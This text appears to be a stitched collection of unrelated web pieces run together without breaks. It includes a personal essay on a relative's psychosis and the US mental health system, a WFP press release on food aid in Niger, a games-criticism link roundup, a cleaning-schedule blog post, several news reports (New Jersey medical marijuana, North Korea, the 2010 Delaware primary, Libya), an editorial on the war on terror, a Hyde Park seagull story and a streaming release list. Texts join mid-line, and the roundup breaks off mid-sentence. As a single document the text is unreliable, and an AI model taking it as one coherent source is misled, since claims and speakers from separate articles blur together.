I’ve seen the toll that mental illness can have on a personal level. Someone I love dearly, we’ll call him Paul, started showing signs of psychosis about a year ago, at least that’s when our family started to become aware of the situation. According to a recent study, victims of TBI have a 439% higher risk of developing a mental illness and are 65% more likely to develop schizophrenia. There is a possibility Paul’s psychosis is due to a TBI he suffered earlier in life or it could also be a substance-induced psychotic disorder. We aren’t sure, and trying to get a delusional individual to give any sort of straight answer is damn near impossible.
Paul was an extremely loving and loyal person, highly emotional and easily stressed, but the type of person who would literally give you the shirt off his back. He was the hardest worker you’d ever come across, a passionate person with drive, ambition, and an undying need to help others. He had been sober for eight or so years, had a gorgeous home in an upscale neighborhood, a beautiful wife, loving teenage daughter, and a close relationship with his parents and two sisters, but that didn’t stop mental illness from taking hold.
A Rapid Fall From Grace
One year later Paul is divorced, living in a small apartment (only thanks to his ex-wife footing the deposit), isolated from family and friends, angry, volatile, convinced everyone is against him, and sometimes suicidal. The problem with Paul is he has a mental illness, and not a minor case. Paul is suffering from severe psychosis or a break from reality complete with delusions, paranoia, and hallucinations. Along with some others who suffer from psychosis, he is 100% convinced the government has implanted microchips in his brain that speak to him, control his eye movements, cause severe ear ringing and headaches, monitor his every move, tell him to do things and then cause him pain if he doesn’t do what they want. Let’s just say, he is not a person who is going to voluntarily admit himself to a psychiatric treatment facility, because in Paul’s mind, there is nothing wrong with him – it’s all because of the microchips.
So, where does this leave us?
For his family and friends, me included, who miss the Paul we knew and want to help him sustain some semblance of normal life, knowing that his options are going to jail or ending up on the street is unacceptable. He is not a bad person, he is not a wasted life, yet there are no substantial resources for a person in his situation. The officer told me he actually has to hurt someone or do something drastic in order to be taken in and even then, he’ll probably just end up in jail. I don’t know what the right answer is in this situation, but the way our mental health care system is currently set up, until someone is seriously hurt or even killed, there is nothing we can do to get Paul the help he needs.
As any concerned person would do, my family and I immediately got online to search for possible solutions. After dozens of calls to facilities and resource groups, we all came back with the same realization – in California, a person must be determined to be a grave danger to themselves or others, or unable to care for themselves in order to be put into a long term care facility. When I asked a counselor with San Diego Behavioral Health Services what that meant, he clarified that Paul must go to the extreme of not eating or drinking because of his delusions. Not being able to care for oneself, acting in an erratic and violent manner, and resorting to living on the streets isn’t enough.
Another suggestion was to contact an organization called the local In-Home Outreach Team or IHOT, that will send a mobile team to assess Paul. If they see fit, they can issue a court mandate for him to take medication and if he doesn’t adhere, he will then be arrested and placed in jail or a mental care facility – temporarily. Other than that, there is no way to have a person who is mentally ill forced to get treatment. As the counselor said, there is nothing illegal about being psychotic.
The Downfall of Mental Health Care in America
In the early 19th century, the majority of the severely mentally ill wandered the streets and ended up in prisons. In an attempt to remedy this situation and take a proactive approach to mental health, reformers went on to open state-run psychiatric hospitals to provide a more humane option. Then in the 1950s and 60s, politicians began to feel the financial weight of these facilities and opted to take a new approach. The majority of state-run psychiatric hospitals were to be shut down and most patients were transitioned to treatment at community centers.
This seemed like a good idea in theory since the hospitals were known for a stark environment and questionable practices. Rather than reforming the system, spending the time and money to improve the psychiatric hospitals, and getting these people the help they needed, it was easier and more cost effective to treat them with pharmaceuticals and put them back into society. The psychiatrists involved in policy making at the time were pushing this new approach and presenting an all too optimistic outcome for this solution. Politicians jumped on the opportunity to save money and conveniently ignored the major downside to this decision.
I don’t have to say much to reiterate the vast failure this approach to mental health care has had on our society over the last 50 years. Adam Lanza. Jared Loughner. James Holmes. They all had one thing in common besides carrying out some of the deadliest shootings in American history – severe mental illness.
Our Country is Failing Us
How are we as a first world country with a world class medical system, unable to come up with a better solution for our mentally ill? My family’s experience and frustration with Paul’s mental health care is not rare. Countless cases like this have been documented across the country by helpless family members with no way to care for their sick loved ones and yet nothing is being done to remedy the situation. Until another tragedy occurs, all of our stories are simply swept under the rug.Niamey - WFP has resumed providing food assistance to refugees and displaced people in the Diffa region of Niger, near the Nigerian border, after security concerns forced a temporary suspension of food distributions.
Following attacks by Nigerian militants at the beginning of February, thousands of refugees and host communities were forced to flee for their lives, and have been cut off from any assistance.
WFP and partners plan to carry out food distributions today to more than 3,000 people, following resumption of food distributions on 19 February in Chetimari and Gagamari villages, where some 6,500 people received a monthly food ration, and nutritional supplements were provided for children, pregnant women and nursing mothers.
“The basic food needs of these communities, often trapped in inaccessible areas, are considerable. As soon as the Government of Niger declares an area safe to access, WFP and its partners step in, providing much needed food to both refugees and local people displaced by conflict. We have already stored food across the region, which allows us to respond swiftly to provide life-saving assistance. Even with the recent attack, WPF still carried out a food distribution in the Saya Forage refugee camp on 12 February, just before being forced to temporarily suspend its assistance,” said Benoit Thiry, WFP Niger Country Director.
WFP is supporting the Government of Niger and NGO partners to carry out assessments to ascertain the number and needs of the affected population.
“We now have a better understanding where people have fled following the recent attacks, and as security permits, we are seeking to reach all of them. WFP and partners are travelling across the region to reach people who are scattered in remote areas,” said Thiry.
By the end of February, WFP plans to assist 37,000 newly displaced people with food.
WFP is particularly concerned about the poor nutritional state of children and women and has restocked functional nutritional centres with essential nutrition products.
A WFP vulnerability assessment in November 2014 showed that the nutritional status of the children in Niger was already extremely worrying, with a Global Acute Malnutrition (GAM) rate of 23.5 percent, above the emergency threshold of 15 percent.
More than 100,000 people have fled increasing violence in Nigeria in recent months and found refuge in neighbouring Niger. Most of the displaced are women and children. Refugees, internally displaced people and vulnerable host communities are lacking access to basic services - food, clean water, health services and shelter.
WFP gradually increased its food assistance last year and by December 2014 was providing food to over 60,000 refugees, returnees and host families.
WFP is also on the ground in the other two countries affected by violence in Nigeria – Cameroon and Chad – and it aims to reach about 240,000 people with food assistance in 2015 across the three countries.
Lack of funding, however, makes it increasingly difficult for WFP to scale up its response to meet the growing needs of refugees, returnees, IDPs and host communities in Niger and the other affected countries.
In the Diffa region of Niger, WFP requires US$26 million to reach 130,000 people with food assistance for twelve months.
# # #
WFP is the world's largest humanitarian agency fighting hunger worldwide, delivering food assistance in emergencies and working with communities to improve nutrition and build resilience. Each year, WFP assists some 80 million people in around 75 countries.
Follow us on Twitter @wfp_media, @WFP_WAfrica
For more information please contact (email address: firstname.lastname@wfp.org):
Vigno Hounkanli, WFP Niger, +227 91205585
Adel Sarkozi, WFP West Africa Regional Bureau (Senegal), +221 776375964Hello! Did you know it’s National Cat Day in Japan? This is what Twitter tells me, and by ‘tells me,’ I mean it’s filling my timeline with even more cat pictures than usual. I can’t exactly complain.
That said, I’m here to perform a duty, catvalanche or no catvalanche. Let’s get to This Week in Videogame Blogging!
Racefail
We start with Kill Screen founder and PBS Game/Show host Jamin Warren, who in the show’s most recent episode tackles several of the extant issues of race representation in games. As Warren argues, people of color are still dramatically underrepresented in games, and what representation does exist often falls into stereotypes and tokenism.
Back on Warren’s home turf on Kill Screen, contributor Will Partin provides a good companion piece for the above video, going into further detail regarding BioWare’s Dragon Age and Mass Effect series and their failure to engage with (human) race issues in a non-abstracted way.
Cutting to the heart of the issue, over on Kotaku Evan Narcisse hosts a roundtable with an all-star panel consisting of Austin Walker, Shawn Alexander Allen, TJ Thomas and Catt Small, discussing the shortcomings of black representation in games from their own vantage points, issues which extend much further than (but certainly includes) diversity among developers.
She’s Not Playing It Wrong
Responding to the Kotaku roundtable, Not Your Mama’s Gamer’s Samantha Blackmon reflects on her recent experience playing Life is Strange and how her experience as a black woman subconsciously inflected how she treated the game’s authority figures. This dovetails nicely with a recent essay by Shawn Trautman, on overcoming the myth that there is a ‘right’ way to play a game:
Based on my experience with the game, the oft-lamented “giant fetch quest at the end” criticism [of Wind Waker] makes absolutely no sense. There is no giant fetch quest at the end for me, and there didn’t have to be for you, either. But here’s the twist: that criticism is still valid. If someone didn’t know that the Triforce shards could be gotten earlier, or they didn’t know that they would be important later, I suppose I could do what’s been done to me and say their criticisms are wrong because it’s their “own fault”: they made that annoying fetch quest happen by waiting. But the truth is the game is just as much to blame for not signposting these things well, and “blame” isn’t really the point, anyway. If a person plays a game the only way they know how, and the way that makes the most sense for them, their experiences are valid. Categorically. Full stop.
Elsewhere, as part of Aevee Bee’s always-splendid ZEAL e-zine, Joshua Trevett offers up a compelling essay on cs_gonehome, a mod which places Counter-Strike combat within the domestic space of Fullbright Company’s Gone Home. We soon find out that it’s more than a cheap gimmick:
[Counter-Strike] is a game about guns. CS loves guns. Conversely, cs_gonehome feels as though it’s fearful of guns. That’s because in three broad ways, cs_gonehome plays quite differently from Counter-Strike on a typical map.
And, over on 99 Percent Invisible, Roman Mars chronicles the demise of EA’s misbegotten Sims Online, and in doing so reflects on the challenges of games preservation to capture the essence of multiplayer and social games.
The Reason So Many Babies are Born in November
As Valentine’s Day covered the Earth in its rose-petaled grip last Saturday, the thoughts of many writers turned to… well, you know. You can consider most of these links not safe for work, just to be on the safe side.
For example, Damion Schubert took a look at — don’t giggle — a masturbation rhythm game titled Cock Hero. Meanwhile, following another (perhaps classier) thread of erotica, Emily Short surveys recent trends in the sphere of adult interactive fiction (“choose your own erotica”), much of it written by and for women and queer authors.
And naturally, the singular and sensual Cara Ellison has devoted the most recent entry of her S.EXE column over on Rock, Paper, Shotgun to… a search for good platonic male-female friendships in games, coming upon the LucasArts classic Full Throttle. You didn’t expect that, did you? Ms. Ellison will not be boxed in!
The Play’s the Thing
On As Houses, Leigh Harrison attempts to pin down just what it is about Far Cry 2 which has made it a classic:
It’s a game in which your main objective is to shoot things, but also a game which wants you to question the validity of its own existence and those of its contemporaries. It makes you feel insignificant and weak in a genre built upon power, forcing you into the arms of dangerous strangers to make up some of the deficit. […] Your final betrayal is the game’s way of making sure you’re listening when it tells you for the last time that war is horrible, that it corrupts and eventually makes liars and thieves – or corpses – of us all. In the end, the only source of true conviction is the game itself.
Meanwhile, on Play the Past, Gilles Roy looks to the strong Greek mythological aesthetic of Apotheon and contends that there’s something about it which perfectly suits its gameplay:
The action hero of the video game resembles, in many ways, the action hero of Greek mythology: typically masculine, bereft of psychology, projected into a universe of vivid happenings, quasi-immortal, yet in a perpetual state of existential threat, fighting for redemption. Perched between life and death, the mythical hero exists as an “immovable centre”, a bridge between immortals and mortals, story and audience, game and player.
Design Notes
Hamish Todd, who wrote our excellent Level Design Analysis Spotlight, here does a deep dive on a particular room design in the first Doom. Elsewhere, George Weidman shares his enthusiasm for the Resident Evil REmake, and in particular analyzes just what makes it so splendid to play.
Critical Switch, a mini-podcast in which Austin Howe and our own Zolani Stewart trade off hosting duties each episode to tackle a particular short subject. In this episode, Howe explores how party size in Japanese role-playing games can take on a symbolic and narrative meaning.
On PopMatters Moving Pixels, Scott Juster wonders why death, such a mainstay of the Game of Thrones television show, is treated so inflexibly in Telltale’s game adaptation. And over on Virtual Narrative, Justin Keever and Miguel Penabella exchange a letter series on Max Payne 3 and discuss how, in a subtle way, it seems to tap the fourth wall just as the first game did:
Max Payne 3 is perhaps best explained as the residual effect of that cognizance [of the first game]. Loosed from Remedy’s penchant for ludicrousness and absorbed by neo-Rockstar’s proclivity towards straight-faced drama, Max Payne is finally imprisoned in a world that’s less parodic than it is abjectly cruel. Max Payne 3‘s São Paulo is a world of puppeteers, where the poor and desperate fall victim to the whims of the rich and petty in the name of microscopic gains in power – a world of deep systemic corruption whose agents permeate every level of society, like sickly veins extending from a diseased heart. Self-determination is a myth, a falsity for all but the affluent and empowered. […] We didn’t pay for Max, we paid for an avatar – a puppet with the capability of violence, without the means to protest the things we make them do. But the nebulous “they” that Max refers to doesn’t simply mean the player.
In a striking essay, Jeroen D. Stout identifies what we might call a ‘Frankenstein moment’: when the systems of a game coalesce with the game’s fiction to reveal the finely tuned yet awful implications of the player’s actions. Given that Stout refers to Alpha Centauri for much of the article, this pairs well with a recent essay by Civilization 4 lead designer Soren Johnson — which we also featured on these pages — on system design deviating from developer intent.
Robert Rath paints a picture on the difference between ‘realism’ and ‘truth’ in war-themed games — and how for as many games are about warfare, few seem to have much to say. Meanwhile, on Paste, Austin Walker bemoans the lazy design and ableism inherent in the ubiquitous ‘sanity meter’ of horror games, while also looking to more recent titles like Darkest Dungeon to explore how they might offer a more nuanced, culturally responsible representation of mental illness:
Every adventurer starts with an empty stress meter and a few quirks, both positive and negative. These quirks represent a wide range of characteristics, from personal preferences to physical capabilities, from special knowledge to (yes) psychological diagnoses. But mental health isn’t treated as more or less important (or pathological) than other personal traits. […] [One quirk is called] “Guilty Conscience.” The mouseover text says that [the character] “bears the crushing guilt of deeds real and imagined.” I slide the mouse cursor over this long list of red words and sigh. “I don’t even know if ‘Guilty Conscience’ has a real effect,” I say, “but it sounds bad.” The critique Darkest Dungeon is making is of critique of me, and of the culture that taught me to read words like “crushing guilt” and wonder if it has a “real” effect on a person.
Writing for Reverse Shot, Brendan Keogh muses on how sports games simultaneously deploy immediacy (a feeling of inhabiting the game) and hypermediacy (a feeling of witnessing the game as a televised event). In response, Higher Level Gamer’s Nick Hanford advances another question: does hypermediacy (or remediation, as he refers to it) really holds water in games over time, and is it the most interesting aesthetic feedback loop going on between games and television?
Remediation works really well when we’re looking at the design of sports games and how they are marketed as new experiences, but I wonder what happens when players start their hundredth or two-hundredth contest in these games. […] What I’m more intrigued by is how remediation can be opened up and understood as flowing in both directions. Television has certainly impacted the design of games, but games have also affected the ways that sports are televised. The late-1990’s saw the introduction of the Skycam for American football broadcasts that provided a videogame-like, bird’s-eye view of the game. While not directly related to the presentation of sports, this year EA started filming NFL rookies’ reactions to their in-game statistical representations. Along with that, sports journalists and game companies have pushed the official simulations of championship games for a few years now. If we have these specific instances of change flowing from game to television, I wonder how the experience of games also changes the experience of television.
Ice-T Woodenly Mentioning Kotaku
We have to at least talk about Law & Order: Special Victims Unit‘s recent Gamergate-themed episode, unfortunately. And of those who talk about it, Leigh Alexander, unsurprisingly talks about it best. In particular, while she does spend some time recapping the episode and its various problems (a Content Warning is in order for descriptions of sexual assault, stalking and harassment), but more broadly, the piece serves as a reflection back on certain core ideas from her (widely misinterpreted) “Gamers Are Over” editorial.
Cats Though
Thanks for reading! As always, we value your contributions and hope that you’ll take the time to send us a link — your own of someone else’s — for inclusion on these pages, either by Twitter mention or email!
There is still a little time to get involved in February’s Blogs of the Round Table and our monthly Let’s Play roundup as well! When submitting on Twitter for these, please use the #BoRT and #LetsPlayCD hashtags, respectively.
A little signal-boosting: the most recent issue of academic journal Game Studies has gone live with six new articles for your perusal.
Critical Distance is funded completely by its readership! If you like what you see and want to help us advance our current and upcoming features and other exciting projects, consider signing up for a small monthly donation on our Patreon! We really do depend on you.
Finally, a personal aside: I will be in San Francisco for the Game Developers Conference the first week of March, so TWIVGB duties will again be handled by members of our formidable team! And, if you find yourself up by GDC as well, come and say hi! I will have our special exclusive Critical |
Step 2: Pick the Best Plan for YOU (Choose ONE)
The next thing you need to do is figure out what sort of cleaning plan will work best for your life and your schedule. Are you the kind of person who wants to do a little every day, or would you rather tackle it all at once so that you don’t have to think about it for the rest of the week. Do you work full time or are you home during the day? Do you have young children at home or are your kids old enough to help shoulder some of the responsibility?
There is no one “right way” to keep house, and there is no universal cleaning schedule that will fit every household’s needs. Ultimately you have to take the time to determine what sort of schedule will be both realistic and doable for your own needs. While you should take the time to consider all of the following plans, please don’t think that you need to DO all of them. Instead, pick the ONE plan that seems like it will be the best fit and try it out for a while. If you hate it, you can always try something else!
Here is a rundown of the most common options:
Option A: Daily Speed Cleaning
If you are like me and have a hard time functioning when your house is messy, this may be the best option for you. I have personally found that running through my speed cleaning routine every day keeps things relatively neat and tidy all the time so that there isn’t usually a need to “deep” clean quite as often. When I am following this schedule I will spend about 60-75 minutes cleaning each day, between the daily tasks and doing 1 or 2 weekly tasks each day. I use the following printable daily and weekly checklists to help me stay on track.
SEND ME MY CLEANING BUNDLE
SEND ME MY CLEANING BUNDLE
Option B: Timed Sessions
This type of cleaning plan follows a master list of weekly tasks. You set aside a certain amount of time each day—ideally 45-90 minutes—to work your way down the list. When the timer is done, you stop, then pick up where you left off the previous day. The following worksheet can help you create your master list:
SEND ME MY CLEANING BUNDLE
Option C: One Room or Major Task Each Day
This type of cleaning plan sets aside certain tasks to do on each day. For instance, cleaning the bathrooms on Monday, doing laundry on Tuesday, Vacuuming on Wednesday, etc. The time spent cleaning each day will vary based on the task set aside for that day. You can use the following worksheet to set up this plan:
SEND ME MY CLEANING BUNDLE
Option D: Everything in One Day
This type of plan saves everything for one big long cleaning day each week. This can be a good option if you work during the week and would rather clean on the weekends, or if your kids are older and everyone will pitch in to get all the chores done fast. For this type of plan you can just pick two or three monthly, quarterly, and annual tasks to tackle each cleaning day.
One fun idea for families with older kids is to take a deck of cards and write down one task on each card. You can also use the printable set of cards below! On cleaning day the cards are shuffled and dealt, and each family member is responsible for completing the tasks on their cards, or for trading to get different tasks they’d rather do.
SEND ME MY CLEANING BUNDLE
Step 3: Fill in Your Schedule
This is the easy step! Once you’ve determined what sort of cleaning plan will work best for your household, just use the handy printables in this post to fill in your cleaning schedule. Choose the corresponding printable to your plan above, then use the calendars below to schedule your cleaning days, as well as keep to keep track of the monthly, quarterly, and annual tasks that you need to remember. Or, if you prefer digital schedules, you can use other options such as Google Calendar, iCalendar for Mac, or even on online cleaning scheduler such as chorebuster.net.
SEND ME MY CLEANING BUNDLE
SEND ME MY CLEANING BUNDLE
Although it might seem overwhelming at first, creating a cleaning schedule that works for your own home and family life can be incredibly liberating. Suddenly instead of a big daunting mess in front of you, there is a workable plan to take care of it. What are you waiting for?
DIG DEEPER Want to have a neat and orderly home, but aren’t sure exactly how to get there? Our Cleaning Printables Bundle will help you! Simply opt-in below to have it sent straight to your inbox! SEND ME MY CLEANING BUNDLEBy David Madden
TRENTON, N.J. (CBS) — Proponents of a measure that would expand the use of medical marijuana in New Jersey are putting pressure on governor Chris Christie to approve a plan that passed the legislature last month (see related story).
Today, more than 2,000 letters were delivered to Christie’s office on behalf of Vivian Wilson, a two-year old girl from North Jersey who suffers from a rare form of epilepsy that can only be relieved by ingesting marijuana.
Her mom, Meghan Wilson, is hoping the state will relax restrictions on the quality of the cannabis grown and the number of doctors required to sign off on a child’s prescription.
“We’re hoping (Gov. Christie) realizes that his opinion is really in the minority,” Wilson said today. “People want Vivian and other children to have access to these strains of marijuana.”
Christie has another week to decide on the legislation; his office says he is reviewing the bill.
The governor has steadfastly insisted on strict controls on medical marijuana in the name of public safety. Should Christie veto the bill, the Wilsons say they will move to Colorado, where the laws are not as strict.(CNN) Democratic Sen. Chris Coons slammed President Donald Trump's tweet Saturday about North Korea's latest missile test, saying Twitter is no place to conduct diplomacy.
Trump took to Twitter shortly after the ballistic missile blew up over land in North Korean territory. He decried the test, which the US military called a failure, while giving a nod to China, one of North Korea's only allies and a nation seen by the Trump administration as a potential US ally in efforts to quash Pyongyang's nuclear program.
"North Korea disrespected the wishes of China & its highly respected President when it launched, though unsuccessfully, a missile today. Bad!" Trump tweeted.
North Korea disrespected the wishes of China & its highly respected President when it launched, though unsuccessfully, a missile today. Bad! — Donald J. Trump (@realDonaldTrump) April 28, 2017
Coons, speaking with CNN's Michael Smerconish, commended the President's perspective on China's role in the region.
"What President Trump is doing here is recognizing that his only constructive path forward on North Korea is to engage China, to make sure that China sees this as being as much their problem as our problem," Coons said.
Read MoreWILMINGTON, Del.—Conservative activist and tea party favorite Christine O'Donnell upset veteran U.S. Rep. Michael Castle in the Delaware Republican Senate primary Tuesday, overcoming hostile opposition from her state party to earn the surprising victory.
O'Donnell's win gave new energy to the tea party movement, which targeted Castle after victories by Republican tea party candidates in the Alaska and Nevada Senate primaries. It was another primary victory for former Alaska Gov. Sarah Palin, who endorsed O'Donnell last week.
With all precincts reporting, O'Donnell had 53 percent to 47 percent for Castle, a former two-term governor and the longest serving congressman in Delaware history.
O'Donnell supporters who gathered at an Elks Lodge in Dover erupted in cheers and dancing upon learning of her victory. O'Donnell took the lead early as voting results came in and never relinquished it, prompting some of her supporters to make floor-sweeping motions while cheering, "Sweep 'em out!"
"We worked hard to be here," O'Donnell said. "I cannot thank you enough for that. The people of Delaware have spoken: No more politics as usual! I can't thank you enough, because you guys have partnered with me, believed in me from the beginning, stood with me in the face of adversity."
O'Donnell also thanked Palin for her endorsement.
"She got behind us war-weary folks and gave us a boost of encouragement when we need it," she said. "She was a vote against the politics of personal destruction."
Castle supporters at his election party in Wilmington stood in stunned silence as returns rolled in, but erupted into cheers when he took the stage for a brief speech.
"The voters in the Republican primary have spoken, and I respect that decision," he said.
"I had a very nice speech prepared, hoping I would win this race," Castle said jokingly, as tearful staffers and supporters looked on.
Castle did not mention O'Donnell in his speech, and he left the room without taking questions from reporters.
While attracting enough GOP conservatives to defeat Castle, a leader of Republican moderates in Congress, O'Donnell will have a hard time defeating Democrat Chris Coons in November for the Senate seat vacated by Joe Biden after he was elected vice president.
But voters nevertheless took their chances on O'Donnell, who characterized Castle as a liberal who sides with big-spending Democrats more than he does with fellow Republicans.
"I think Castle is too liberal," said Robert Manning, 56, a design engineer from Georgetown who voted for O'Donnell.
"I think Washington has done enough damage with all this stimulus spending over the past 18 or 19 months," Manning added. "It's time to get back within our budget."
O'Donnell, who hasn't had a steady job in years but has instead made an avocation of running for Senate, finally won after two failed Senate bids. She came in last in a three-way GOP primary in 2006 and lost badly to Biden in 2008, when she won the endorsement of state GOP convention delegates but received virtually no help from the party.
But the Tea Party Express bolstered O'Donnell's long-shot bid this year with its pledge of $250,000 for radio and television ads.
O'Donnell and her staunchly conservative supporters characterized Castle as a liberal who often votes with Democrats in Congress while masquerading as a GOP conservative. In their words, Castle is a "RINO," a "Republican in Name Only."
They also suggested that Castle, 71, was so frail that he might die before finishing his Senate term, that he might switch parties, and that he was cheating on his wife with a man.
While ignoring O'Donnell for much of the campaign, Castle and state Republican Party eventually fired back with attack ads of their own, criticizing O'Donnell, 41, for lying about her education and record, leaving a trail of unpaid bills that included unsettled campaign debts, tax liens and a default on her mortgage, and using campaign finances for personal expenses. The GOP also filed a complaint with the Federal Election Commission accusing O'Donnell of illegally colluding with tea party supporters.
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Associated Press Writer Sarah Brumfield in Dover contributed to this report.
© Copyright 2010 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.Twelve and a half years after 9/11, al-Qa’ida-type organisations control an area the size of Britain in western Iraq and eastern Syria. Include Afghanistan, Libya and Somalia and the territory they rule is larger in size than the UK. What is so extraordinary – and blameworthy – is that this vast expansion of jihadi groups comes even as the US, Britain and others are waging a “war on terror”. In the name of such a struggle, great sums have been spent; wars have been fought in Iraq and Afghanistan; civil rights have been curtailed; and torture, rendition, detention without trial and domestic espionage have been justified. But attempts to eliminate the supposed enemy have wholly failed.
It is to consider the roots of this failure that The Independent published a five-part investigation by our distinguished correspondent Patrick Cockburn this week. The aim of the series is to show the extent to which jihadi organisations identical in ideology and methods to Osama bin Laden’s al-Qa’ida have survived, flourished and are now stronger than ever.
This was not an inevitable outcome. Saudi Arabia was crucial to the rise of the original al-Qa’ida: in the attack on the twin towers, 15 out of 19 hijackers were Saudi and the 9/11 Commission Report revealed that Saudi donors were the main financial support for al-Qa’ida. To this day, 28 pages of the report relating to Saudi involvement have never been published. Yet the Bush administration never sought to pin any measure of responsibility on Saudi Arabia, enabling it to go on playing a central role in funding and recruitment for jihadi groups across the Muslim world. Instead, Bush sought to put the blame for 9/11 on Saddam Hussein and Iraq, without the smallest evidence.
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Since the start of the Arab Spring the US, Britain and their allies have supported jihadis who appear to be on their side, just as they backed them in Afghanistan in the 1980s. Syrian and Libyan rebel groups much like al-Qa’ida have been viewed tolerantly thanks to their opposition to Gaddafi or Bashar al-Assad. Indeed, the US ambassador to Libya, J Christopher Stevens, paid with his life for Washington underestimating the danger posed by the jihadis with whom America had been co-operating.
A hypocritical aspect of the willingness of the US, Britain and their allies to co-operate with theocratic absolute monarchies in Saudi Arabia and the Gulf is the absurd pretence that they want to establish secular democracies in Syria, Libya or Iraq. In addition, there is a sustained unwillingness to admit that the Sunni monarchs are viscerally anti-Shia. Sectarian hate propaganda spews out from Saudi preachers on well-funded satellite television stations, Facebook, YouTube, Twitter and through the internet in general.
The reason why Washington, London and other states have been so gentle with the Saudis and their allies, responsible though they are for sustaining the jihadi movement, is the kingdom’s financial might, the West’s hunger for arms deals and the lure of consultancy contracts and other personal benefits for powerful individuals. The “war on terror” has failed and failed unnecessarily. Were there to be a repeat of 9/11, then those responsible for that defeat should be held accountable.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowA 'killer seagull' has been spotted dragging pigeons into Hyde Park's Serpentine lake and drowning them before eating the bodies.
Visitors to the central London park say the hungry bird has taken to grabbing the pigeons by the neck before pulling them into the water.
It is thought that the same seagull has been spotted on the banks of the Serpentine hunting pigeons and feasting on their remains for the past five years.
Scroll down for video
Hunter: A 'killer seagull' has been spotted grabbing pigeons by the neck, dragging them into Hyde Park's Serpentine lake and drowning them before eating the bodies
Vicious: Visitors to the central London park say the hungry bird has taken to grabbing the pigeons by the neck before pulling them into the water
Amateur photographer Johanna van de Woestijne, 57, was walking in the park when she witnessed its dramatic hunting technique.
She said: 'It was one of the most violent things I have ever seen - after it happened I felt I had witnessed a murder.
'I’ve seen him hunting pigeons on two separate days, both times he picked them off, dragged them into the lake and drowned them.
'He is easy to spot as he has a distinctive look. He is fairly squat and looks muscular, like a bodybuilder. It must be the high meat diet he’s living on.'
Witness: Photographer Johanna van de Woestijne, 57, said the way the seagull killed the pigeon was 'one of the most vicious things' she had ever seen, and said it had been like watching a murder
Unusual: Bird experts have said that the behaviour is extremely unusual for lesser black-backed gulls - which usually survive on a diet of small fish, aquatic insects and crustaceans
The aggressive bird wades into a crowd of pigeons, picks out a straggler, then sprints up and seizes it by the neck.
It then drags its prey into the Serpentine and drowns it before eating it with his mate.
Bird experts have said that the behaviour is extremely unusual for lesser black-backed gulls - which usually survive on a diet of small fish, aquatic insects and crustaceans.
Birdwatcher, Ralph Hancock, 66, said he had been observing the menacing gull in the same spot for the past five years.
'It is one of the strangest things I have ever seen a bird do,' he said.
Dinner time: After drowning the pigeon in the water, the gull shares its prey with its female mate
'This particular gull has been doing this for at least five years, and the stripped corpses of pigeons are often found on the shore of the lake.'
Mr Hancock, who writes a blog about the behaviour of birds in Hyde Park, said the gull had developed its murderous technique over several years.
He said: 'The gull began by dropping from the restaurant roof on pigeons flying underneath, but found this inefficient and switched to running at them on the shore.
'Gulls can’t hunt their prey like hawks, which have powerful feet that can strangle a bird even if it’s almost as large as they are. Gulls have weak little webbed feet, that is why they have to drag the bird into the water and drown it.'
Distinctive: Park visitors say the bird is fairly squat and looks muscular, 'like a bodybuilder'
Repeat offender: The same gull is thought to have been feasting on the pigeons for at least five years, and the stripped corpses of the birds are often found on the shore of the lake
Mr Hancock said he had not seen any other gulls in the park eating the pigeons.
'Normally when a gull has a successful feeding strategy, other gulls copy it - this is why so many gulls snatch ice cream at the beach,' he said.
'No other gull has managed to copy it here, at least not so far - the others probably aren’t powerful enough.
'The gull is male and has a mate, who is smaller - male gulls are slightly larger than females. She doesn’t take part in the killing, but comes in afterwards and they share the pigeon.'Coming Soon
Followers
After an aspiring actress hits it big thanks to a candid Instagram, her life intersects with many other Tokyo women as they follow their dreams.
Chambers
Consumed by the mystery surrounding the donor heart that saved her life, a young patient starts taking on sinister characteristics of the deceased.
I Am Not Okay With This
A teen navigates the complexities of high school, family and her sexuality while dealing with new superpowers. Based on Charles Forsman's graphic novel.
Budapest
Two best friends put their careers and marriages on the line when they launch a business hosting outrageous, anything-goes bachelor parties in Hungary.
The Dark Crystal: Age of Resistance
In this prequel to the fantasy classic, three young Gelfling inspire a rebellion against the cruel Emperor when they discover a horrifying secret.
Tales of the City
Middle-aged Mary Ann returns to San Francisco and the eccentric friends she left behind. Based on Armistead Maupin's books and starring Laura Linney.
YooHoo to the Rescue
In a series of magical missions, quick-witted YooHoo and his can-do crew travel the globe to help animals in need.
Pachamama
Dreaming of becoming a shaman, an impish boy from the Andes journeys across uncharted lands to recover a stolen treasure in this animated adventure.Tripoli, Libya (CNN) -- Britain said Tuesday it is expanding its presence in Libya with military advisers and the European Union said it is prepared to send troops for humanitarian assistance if requested by the United Nations.
Plans for increased Western involvement surfaced as Moammar Gadhafi's forces shelled Misrata again Tuesday. Residents and refugees rescued from the city described a terrifying situation in the ravaged western city that continues daily to pay a heavy price in the Libyan war.
"The situation is very dangerous, every day the shelling is increasing," said a resident who was not identified for safety reasons. "They are using more types of weapons, and people are wondering why NATO is not doing anything."
The number of casualties was unclear Tuesday but at least 24 people have already died in Misrata his week, an opposition spokesman told CNN Monday. He said another 113 were injured.
Rebel-compiled figures estimate that more than 10,000 people have been killed so far in the Libyan conflict and more than 55,000 have been injured.
With a humanitarian disaster looming, the EU said it is ready to respond, but not without the blessing of the United Nations.
An EU official, who asked not to be identified, said it is unclear how many troops would be deployed, though he said the number would be "definitely less than 1,000."
The Council of the European Union agreed to the operation -- called EUFOR Libya -- earlier this month. If requested, EUFOR Libya would "contribute to the safe movement and evacuation of displaced persons" and support humanitarian agencies in their activities, the council said in a written statement.
And Britain said it is sending a contingent of experienced military officers to the rebel stronghold of Bengazhi in an advisory role.
The team will work with Libya's Transitional National Council on how the opposition can improve military organizational structures, communications and logistics, the British Foreign Office said. It will also assist in the delivery of critically needed aid.
"This deployment is fully within the terms of UNSCR 1973 both in respect of civilian protection and its provision expressly ruling out a foreign occupation force on Libyan soil," Foreign Secretary William Hague said on Tuesday.
"Consistent with our obligations under that resolution, our officers will not be involved in training or arming the opposition's fighting forces. Nor will they be involved in the planning or execution of the NTC's military operations or in the provision of any other form of operational military advice."
The moves raise questions of whether a greater international military involvement on the ground could emerge.
The Center for Strategic and International Studies' Stephen Flanagan said the British stance is another step up the level of military engagement.
